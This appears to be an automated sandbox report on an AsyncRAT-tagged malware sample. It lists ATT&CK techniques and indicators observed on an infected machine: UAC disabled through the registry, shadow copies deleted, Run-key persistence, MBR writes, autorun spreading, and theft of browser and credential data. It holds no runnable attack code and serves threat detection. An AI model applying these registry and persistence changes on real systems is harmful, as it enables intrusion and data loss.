asyncrat | d850d741582546a3d0ea2ad5d25e0766781f315cd37e6c58f7262df571cd0c40

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 4 IoCs

rat

resource	yara_rule
behavioral1/files/0x000300000002aaf0-32306.dat	family_asyncrat
behavioral1/files/0x000800000002c346-36720.dat	family_asyncrat
behavioral1/files/0x000800000002c3cf-47444.dat	family_asyncrat
behavioral1/files/0x000a00000002c389-47506.dat	family_asyncrat

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (8325) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Squirrelwaffle payload 1 IoCs

resource	yara_rule
behavioral1/files/0x001900000002aea5-54.dat	squirrelwaffle

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6216	powershell.exe
1524	powershell.exe
6196	powershell.exe
6912	powershell.exe
3984	powershell.exe
3912	powershell.exe
5336	powershell.exe
6164	powershell.exe
4316	powershell.EXE

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 52 IoCs

flow	pid	Process
40	2416	4363463463464363463463463.exe
372	2416	4363463463464363463463463.exe
1946	7248	NewkeyLauncher.exe
47	2416	4363463463464363463463463.exe
78	2416	4363463463464363463463463.exe
1630	2416	4363463463464363463463463.exe
1934	2416	4363463463464363463463463.exe
136	2416	4363463463464363463463463.exe
377	2416	4363463463464363463463463.exe
1862	9144	LauncherLoader.exe
1863	2416	4363463463464363463463463.exe
1953	2416	4363463463464363463463463.exe
1626	2416	4363463463464363463463463.exe
1945	2416	4363463463464363463463463.exe
83	2416	4363463463464363463463463.exe
1641	2416	4363463463464363463463463.exe
1860	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
44	2416	4363463463464363463463463.exe
1197	2416	4363463463464363463463463.exe
1197	2416	4363463463464363463463463.exe
1197	2416	4363463463464363463463463.exe
1197	2416	4363463463464363463463463.exe
77	5512	chrome.exe
102	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
1632	2416	4363463463464363463463463.exe
154	2416	4363463463464363463463463.exe
148	2416	4363463463464363463463463.exe
1904	2416	4363463463464363463463463.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6488	netsh.exe
4328	netsh.exe
5528	netsh.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/files/0x000200000002abce-32458.dat	net_reactor
behavioral1/memory/6104-32464-0x0000000000BB0000-0x0000000000BFE000-memory.dmp	net_reactor

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 9 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\961117be.exe	explorer.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\RGNR_C33AEB1B.txt	asena.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\603620ea0fe398ac1d9cd08d637e8563.exe	Runtime Broker.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\603620ea0fe398ac1d9cd08d637e8563.exe	Runtime Broker.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System32.exe	Update.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\46422e05e6e5062fec6d0ab906669fb9.exe	SteamDetector.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\46422e05e6e5062fec6d0ab906669fb9.exe	SteamDetector.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System32.exe	Update.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk	Fast%20Download.exe

Executes dropped EXE 64 IoCs

pid	Process
2416	4363463463464363463463463.exe
2744	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
1204	asena.exe
1216	Bomb.exe
2272	CryptoWall.exe
776	25.exe
1164	24.exe
1912	23.exe
4496	22.exe
236	21.exe
2536	20.exe
4560	19.exe
3160	18.exe
3716	17.exe
4248	16.exe
3240	15.exe
4080	14.exe
3932	13.exe
3584	12.exe
1536	11.exe
3920	10.exe
3180	9.exe
2960	8.exe
5132	7.exe
5328	6.exe
5384	5.exe
5440	4.exe
5556	2.exe
5608	1.exe
5504	3.exe
6720	NBYS%20AH.NET.exe
4088	crack.exe
4004	test.exe
5200	handeltest.exe
3960	InstallSetup.exe
1660	GoodFrag.exe
5304	Runtime Broker.exe
5484	SrbijaSetupHokej.exe
2032	SrbijaSetupHokej.tmp
6196	CONHOST.exe
6800	Client-built.exe
4508	runtime.exe
5028	TORRENTOLD-1.exe
5500	TORRENTOLD-1.exe
6416	TORRENTOLD-1.exe
3872	TORRENTOLD-1.exe
6748	TORRENTOLD-1.exe
5780	Hokej.exe
6152	xdd.exe
944	system404.exe
3364	setup-qtox-x86_64-release.exe
1668	CritScript.exe
3020	JUSCHED.EXE
2168	jusched.exe
5124	qtox.exe
3500	fg.exe
1960	XClient.exe
5012	Discord2.exe
1720	pfntjejghjsdkr.exe
4612	Gxtuum.exe
7164	k360.exe
5972	Vikings.exe
5504	Discord.exe
6104	GOLD.exe

Loads dropped DLL 56 IoCs

pid	Process
3364	setup-qtox-x86_64-release.exe
3364	setup-qtox-x86_64-release.exe
3364	setup-qtox-x86_64-release.exe
3364	setup-qtox-x86_64-release.exe
3364	setup-qtox-x86_64-release.exe
3364	setup-qtox-x86_64-release.exe
3364	setup-qtox-x86_64-release.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
5124	qtox.exe
3552	file.exe
3552	file.exe
3552	file.exe
3552	file.exe
3552	file.exe
3552	file.exe
3552	file.exe
3552	file.exe
3552	file.exe
3552	file.exe

Modifies file permissions 1 TTPs 2 IoCs

File and Directory Permissions Modification

T1222

pid	Process
2384	icacls.exe
2912	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	flow	ioc	pid	Process
Destination IP	269	205.185.115.131	5124	qtox.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 21 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\53$79$73$74$65$6d$33$32 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\explorer\\WmiPrvSE.exe"	Update.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\System32 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Update.exe\" .."	Update.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\System32 = "C:\\Users\\Admin\\AppData\\Roaming\\Update.exe"	Update.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\6754ytr756ytr7654yretg8765uyt = "\"C:\\Users\\Admin\\AppData\\Roaming\\kjhgfdc\\76y5trfed675ytg.exe\""	NOTallowedtocrypt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000\Software\Microsoft\Windows\CurrentVersion\Run\UpdateManager = "C:\\Windows\\SystemUpdateCache\\UpdateManager.exe"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000\Software\Microsoft\Windows\CurrentVersion\Run\46422e05e6e5062fec6d0ab906669fb9 = "\"C:\\Users\\Admin\\AppData\\Roaming\\SteamDetector.exe\" .."	SteamDetector.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000\Software\Microsoft\Windows\CurrentVersion\Run\$77Security = "C:\\Users\\Admin\\AppData\\Roaming\\$77Security.exe"	$77Security.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000\Software\Microsoft\Windows\CurrentVersion\Run\603620ea0fe398ac1d9cd08d637e8563 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Runtime Broker.exe\" .."	Runtime Broker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000\Software\Microsoft\Windows\CurrentVersion\Run\System32 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Update.exe\" .."	Update.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\6754ytr756ytr7654yretg8765uyt = "\"C:\\Users\\Admin\\AppData\\Roaming\\kjhgfdc\\76y5trfed675ytg.exe\""	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000\Software\Microsoft\Windows\CurrentVersion\Run\961117b = "C:\\961117be\\961117be.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\53$79$73$74$65$6d$33$32 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\explorer\\WmiPrvSE.exe"	Update.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\System32 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\explorer\\WmiPrvSE.exe"	Update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000\Software\Microsoft\Windows\CurrentVersion\Run\6754ytr756ytr7654yretg8765uyt = "\"C:\\Users\\Admin\\AppData\\Roaming\\kjhgfdc\\76y5trfed675ytg.exe\""	NOTallowedtocrypt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000\Software\Microsoft\Windows\CurrentVersion\Run\6754ytr756ytr7654yretg8765uyt = "\"C:\\Users\\Admin\\AppData\\Roaming\\kjhgfdc\\76y5trfed675ytg.exe\""	76y5trfed675ytg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\6754ytr756ytr7654yretg8765uyt = "\"C:\\Users\\Admin\\AppData\\Roaming\\kjhgfdc\\76y5trfed675ytg.exe\""	76y5trfed675ytg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\46422e05e6e5062fec6d0ab906669fb9 = "\"C:\\Users\\Admin\\AppData\\Roaming\\SteamDetector.exe\" .."	SteamDetector.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000\Software\Microsoft\Windows\CurrentVersion\Run\961117be = "C:\\Users\\Admin\\AppData\\Roaming\\961117be.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\603620ea0fe398ac1d9cd08d637e8563 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Runtime Broker.exe\" .."	Runtime Broker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000\Software\Microsoft\Windows\CurrentVersion\Run\System32 = "C:\\Users\\Admin\\AppData\\Roaming\\Update.exe"	Update.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000\Software\Microsoft\Windows\CurrentVersion\Run\6754ytr756ytr7654yretg8765uyt = "\"C:\\Users\\Admin\\AppData\\Roaming\\kjhgfdc\\76y5trfed675ytg.exe\""	iexplore.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\E:	asena.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
13	raw.githubusercontent.com
44	raw.githubusercontent.com
164	raw.githubusercontent.com
1197	raw.githubusercontent.com
1632	raw.githubusercontent.com

Looks up external IP address via web service 15 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com
140	ip-addr.es
1483	ip-addr.es
3	ip-addr.es
45	ip-api.com
143	ip-api.com
694	ip-addr.es
86	ip-addr.es
481	ip-addr.es
1282	ip-addr.es
1651	ip-addr.es
1662	ip-api.com
5	ip-addr.es
1955	ip-addr.es
2288	ip-addr.es

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	asena.exe

Drops autorun.inf file 1 TTPs 7 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	F:\autorun.inf	SteamDetector.exe
File opened for modification	F:\autorun.inf	SteamDetector.exe
File created	C:\autorun.inf	SteamDetector.exe
File opened for modification	C:\autorun.inf	SteamDetector.exe
File created	D:\autorun.inf	SteamDetector.exe
File created	\??\E:\autorun.inf	SteamDetector.exe
File opened for modification	\??\E:\autorun.inf	SteamDetector.exe

Drops file in System32 directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\runtime.exe	Client-built.exe
File opened for modification	C:\Windows\system32\runtime.exe	Client-built.exe
File opened for modification	C:\Windows\system32\MRT.exe	xdd.exe
File opened for modification	C:\Windows\system32\a7\RuntimeBroker.exe	RuntimeBroker.exe
File opened for modification	C:\Windows\system32\a7\RuntimeBroker.exe	RuntimeBroker.exe
File opened for modification	C:\Windows\system32\a7	RuntimeBroker.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\system32\a7\RuntimeBroker.exe	RuntimeBroker.exe
File opened for modification	C:\Windows\system32\a7	RuntimeBroker.exe
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\java ©	svchost.exe
File opened for modification	C:\Windows\system32\Microsoft\Protect\S-1-5-18\User\Diagnostic.log	lsass.exe

Suspicious use of SetThreadContext 13 IoCs

description	pid	Process	procid_target
PID 5028 set thread context of 3872	5028	TORRENTOLD-1.exe	179
PID 5028 set thread context of 6748	5028	TORRENTOLD-1.exe	180
PID 3500 set thread context of 6456	3500	fg.exe	229
PID 6796 set thread context of 3776	6796	76y5trfed675ytg.exe	318
PID 3776 set thread context of 7116	3776	iexplore.exe	322
PID 4796 set thread context of 2892	4796	svchost.exe	464
PID 7540 set thread context of 9016	7540	TPB-1.exe	591
PID 7540 set thread context of 7248	7540	TPB-1.exe	592
PID 8112 set thread context of 5124	8112	bin.exe	219
PID 8112 set thread context of 7388	8112	bin.exe	594
PID 7388 set thread context of 5856	7388	netbtugc.exe	129
PID 4316 set thread context of 7136	4316	powershell.EXE	627
PID 7388 set thread context of 8524	7388	netbtugc.exe	642

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000500000002a87b-31662.dat	upx
behavioral1/memory/3960-31667-0x0000000000400000-0x0000000000639000-memory.dmp	upx
behavioral1/memory/3960-31679-0x0000000000400000-0x0000000000639000-memory.dmp	upx
behavioral1/files/0x000d00000002c39a-46870.dat	upx
behavioral1/files/0x000800000002c3fa-47469.dat	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pl_get.svg	asena.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\RGNR_C33AEB1B.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\OneNoteR_Retail-ul-phn.xrm-ms	asena.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Paint_10.2104.17.0_x64__8wekyb3d8bbwe\Assets\contrast-white\PaintAppList.targetsize-60.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-60.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-right.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fr_get.svg	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\pt-br\RGNR_C33AEB1B.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ExcelVL_MAK-pl.xrm-ms	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_10.2.41172.0_x64__8wekyb3d8bbwe\Assets\TipsAppList.targetsize-256.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_4.0.2.0_x64__8wekyb3d8bbwe\Assets\Icons\StickyNotesBadgeLogo.scale-200_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\contrast-black\HxMailFirstRunLogo.png	asena.exe
File opened for modification	C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Snippets\ShouldExist.snippets.ps1xml	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioStd2019R_OEM_Perp-ppd.xrm-ms	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_1.0.22.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsAppList.targetsize-16_altform-lightunplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_10.2102.13.0_x64__8wekyb3d8bbwe\Assets\contrast-white\NotepadAppList.scale-200.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_1.0.38.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.targetsize-40_altform-lightunplated.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\theme\node_modules\@uifabric\utilities\lib-commonjs\Point.js	asena.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mk.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\rsod\officemuiset.msi.16.en-us.boot.tree.dat	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\ITCKRIST.TTF	asena.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsCamera_2020.503.58.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\contrast-black\CameraBadgeLogo.scale-200.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-80_altform-unplated.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\react\lib\components\DocumentCard\DocumentCardActivity.types.js	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\dd_arrow_small.png	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\fi-fi\RGNR_C33AEB1B.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Paint_10.2104.17.0_x64__8wekyb3d8bbwe\Assets\NewBitmapImage.bmp	asena.exe
File created	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe\RGNR_C33AEB1B.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\Theme_Illustration_Seasons_Spring_Left_Dark.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\logo_retina.png	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\RGNR_C33AEB1B.txt	asena.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\Test\Modules\Example2.Diagnostics\1.0.1\Diagnostics\RGNR_C33AEB1B.txt	asena.exe
File opened for modification	C:\Program Files\Common Files\System\ja-JP\wab32res.dll.mui	asena.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\jcup.md	asena.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\Resources\RGNR_C33AEB1B.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingNews_1.0.6.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AppTiles\contrast-black\NewsWideTile.scale-125_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_1.0.38.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.targetsize-64_altform-unplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan-2x.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nb_135x40.svg	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.6.3102.0_x64__8wekyb3d8bbwe\Win10\contrast-white\MicrosoftSolitaireSplashScreen.scale-100_contrast-white.png	asena.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\ja-JP\setup_wm.exe.mui	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\BORDERS\MSART7.BDR	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_10.2.41172.0_x64__8wekyb3d8bbwe\Assets\TipsAppList.targetsize-30_altform-lightunplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_Subscription5-ppd.xrm-ms	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest2-ppd.xrm-ms	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PowerPoint2019R_OEM_Perp-ul-phn.xrm-ms	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\js\RGNR_C33AEB1B.txt	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\tr-tr\ui-strings.js	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.GetHelp_10.2008.32311.0_x64__8wekyb3d8bbwe\Assets\contrast-white\GetHelpAppList.targetsize-72_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.32731.0_x64__8wekyb3d8bbwe\Assets\contrast-white\SplashScreen.scale-125_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_1.0.38.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.targetsize-16_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_1.0.38.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.targetsize-72_altform-lightunplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_12104.1001.1.0_x64__8wekyb3d8bbwe\Assets\AppTiles\StoreAppList.targetsize-30_altform-unplated.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\react\lib-commonjs\components\Breadcrumb\Breadcrumb.base.js	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ko-kr\ui-strings.js	asena.exe
File opened for modification	C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Functions\PesterState.Tests.ps1	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.targetsize-96_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.GetHelp_10.2008.32311.0_x64__8wekyb3d8bbwe\Assets\contrast-black\GetHelpAppList.targetsize-32_altform-unplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui	asena.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WebMediaExtensions_1.0.40831.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SplashScreen.scale-125.png	asena.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.6.3102.0_x64__8wekyb3d8bbwe\Microsoft.Advertising\RGNR_C33AEB1B.txt	asena.exe
